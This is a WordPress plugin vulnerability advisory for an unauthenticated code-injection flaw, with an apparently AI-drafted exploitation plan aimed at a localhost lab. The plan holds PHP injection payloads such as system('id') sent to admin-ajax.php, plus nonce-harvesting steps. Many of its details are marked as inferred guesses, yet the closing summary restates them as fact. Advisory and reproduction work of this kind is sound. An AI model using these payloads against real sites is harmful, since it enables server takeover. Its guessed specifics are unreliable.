Event Tickets with Ticket Scanner <= 2.8.5 - Unauthenticated Remote Code Execution
Description
The Event Tickets with Ticket Scanner plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.8.5. This makes it possible for unauthenticated attackers to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.8.5Source Code
WordPress.org SVNThis research plan outlines the methodology for identifying and exploiting **CVE-2025-68015**, an unauthenticated Remote Code Execution (RCE) vulnerability in the **Event Tickets with Ticket Scanner** plugin (<= 2.8.5). ### 1. Vulnerability Summary The vulnerability is classified as **Improper Cont…
Show full research plan
This research plan outlines the methodology for identifying and exploiting CVE-2025-68015, an unauthenticated Remote Code Execution (RCE) vulnerability in the Event Tickets with Ticket Scanner plugin (<= 2.8.5).
1. Vulnerability Summary
The vulnerability is classified as Improper Control of Generation of Code ('Code Injection'). In the context of a "Ticket Scanner" plugin, this typically occurs when user-supplied input (often from a QR code scan or a manual ticket entry) is passed into a dangerous sink like eval(), mb_parse_str(), unserialize(), or used as a callback in call_user_func(). Because the scanner functionality is often intended for front-end use by staff or automated gates, an entry point may be registered via wp_ajax_nopriv_* without sufficient validation or authentication checks.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(or potentially a REST API route). - Action: Likely prefixed with
etts_(e.g.,etts_check_ticket,etts_scan_action, oretts_process_scan). - Parameter: A parameter carrying the ticket data, potentially
ticket_id,data, orqr_code. - Authentication: Unauthenticated (leveraging
wp_ajax_nopriv_). - Preconditions: The plugin must be active. A valid nonce may be required, depending on whether the developer implemented
check_ajax_referer.
3. Code Flow (Methodology)
To identify the exact path, the agent will perform the following trace:
- Entry Point Identification:
Find all unauthenticated AJAX handlers:grep -rn "wp_ajax_nopriv_" wp-content/plugins/event-tickets-with-ticket-scanner/ - Sink Identification:
Search for dangerous functions within the found handlers:grep -rnE "eval\(|unserialize\(|call_user_func\(|call_user_func_array\(|include|require" wp-content/plugins/event-tickets-with-ticket-scanner/ - Trace:
Trace the variable from$_POSTor$_GETin thewp_ajax_noprivfunction to the identified sink.
Example (Inferred):add_action('wp_ajax_nopriv_etts_scanner', 'etts_handle_scan');function etts_handle_scan() { $data = $_POST['data']; ... eval($data); }
4. Nonce Acquisition Strategy
If the handler calls check_ajax_referer() or wp_verify_nonce(), we must retrieve a nonce.
- Locate Enqueued Scripts: Search for where the plugin localizes script data.
grep -rn "wp_localize_script" wp-content/plugins/event-tickets-with-ticket-scanner/ - Identify the Script Handle and Object Name:
Look for a call like:wp_localize_script( 'etts-scanner-js', 'etts_vars', array( 'nonce' => wp_create_nonce('etts-nonce') ) ); - Identify the Trigger: Determine which page or shortcode loads this script. Usually, it's a "Scanner" page. Search for shortcodes:
grep -rn "add_shortcode" wp-content/plugins/event-tickets-with-ticket-scanner/ - Extract Nonce:
- Action: Create a page with the found shortcode (e.g.,
[event_ticket_scanner]). - Tool:
browser_navigateto that page. - Tool:
browser_eval("window.etts_vars?.nonce")(Replaceetts_varsandnoncewith actual names found in step 2).
- Action: Create a page with the found shortcode (e.g.,
5. Exploitation Strategy
Assuming the vulnerability lies in an AJAX handler named etts_validate_ticket (inferred) that processes a data parameter:
- Endpoint:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Payload (Example - Adjust based on Sink):
- If
eval():action=etts_validate_ticket&nonce=[NONCE]&data=phpinfo();die(); - If
unserialize():action=etts_validate_ticket&nonce=[NONCE]&data=O:20:"GuzzleHttp\Cookie\SetCookie":1:{...}(Requires a POP chain). - If
call_user_func():action=etts_validate_ticket&nonce=[NONCE]&function=system&data=id
- If
HTTP Request Payload (Example):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=etts_validate_ticket&nonce=a1b2c3d4e5&data=system('id');die();
6. Test Data Setup
- Install/Activate: Ensure
event-tickets-with-ticket-scannerversion 2.8.5 is active. - Page Creation: (If nonce is needed)
wp post create --post_type=page --post_title="Scanner" --post_status=publish --post_content='[ticket_scanner_shortcode]'(Replace with actual shortcode). - Permissions: No users need to be created as the exploit is unauthenticated.
7. Expected Results
- Success: The HTTP response body contains the output of the injected code (e.g.,
uid=33(www-data)ifidwas run, or thephpinfotable). - Status Code: 200 OK.
- Execution Confirmation: The script should terminate early (using
die()orexit()) to avoid WordPress's default0or-1AJAX response.
8. Verification Steps
After the HTTP request, verify the impact using WP-CLI:
- File Creation (If used as payload):
wp eval "echo file_exists(ABSPATH . 'pwn.txt') ? 'Exploited' : 'Failed';" - Log Check: Check for any errors generated in
wp-content/debug.logthat confirm code execution attempts.
9. Alternative Approaches
- REST API: If no AJAX actions are found, check
register_rest_routefor unauthenticated endpoints:grep -rn "register_rest_route" wp-content/plugins/event-tickets-with-ticket-scanner/
Look forpermission_callbackthat returns__return_true. - Object Injection: If the sink is
unserialize, usephpggcto generate a POP chain compatible with the environment (e.g., Monolog, Guzzle, or even WordPress core). - File Upload: Check if the "scanner" allows uploading "logs" or "scanned images" that aren't properly validated, leading to RCE.
Summary
The Event Tickets with Ticket Scanner plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) in versions up to 2.8.5. This vulnerability occurs because the plugin's ticket scanning functionality, accessible via unauthenticated AJAX handlers, fails to properly validate user-supplied input before passing it into code execution sinks.
Exploit Outline
The exploit targets the plugin's AJAX interface. An attacker first identifies an unauthenticated AJAX handler (registered via wp_ajax_nopriv_) related to ticket scanning or processing. If the handler requires a nonce, it can be obtained by viewing the source code of a front-end page where the scanner shortcode is used. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the appropriate 'action' and 'nonce' parameters, along with a payload containing malicious PHP code. This payload is delivered via a parameter that reaches a dangerous PHP sink like eval(), mb_parse_str(), or call_user_func(), enabling arbitrary command execution on the host server.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.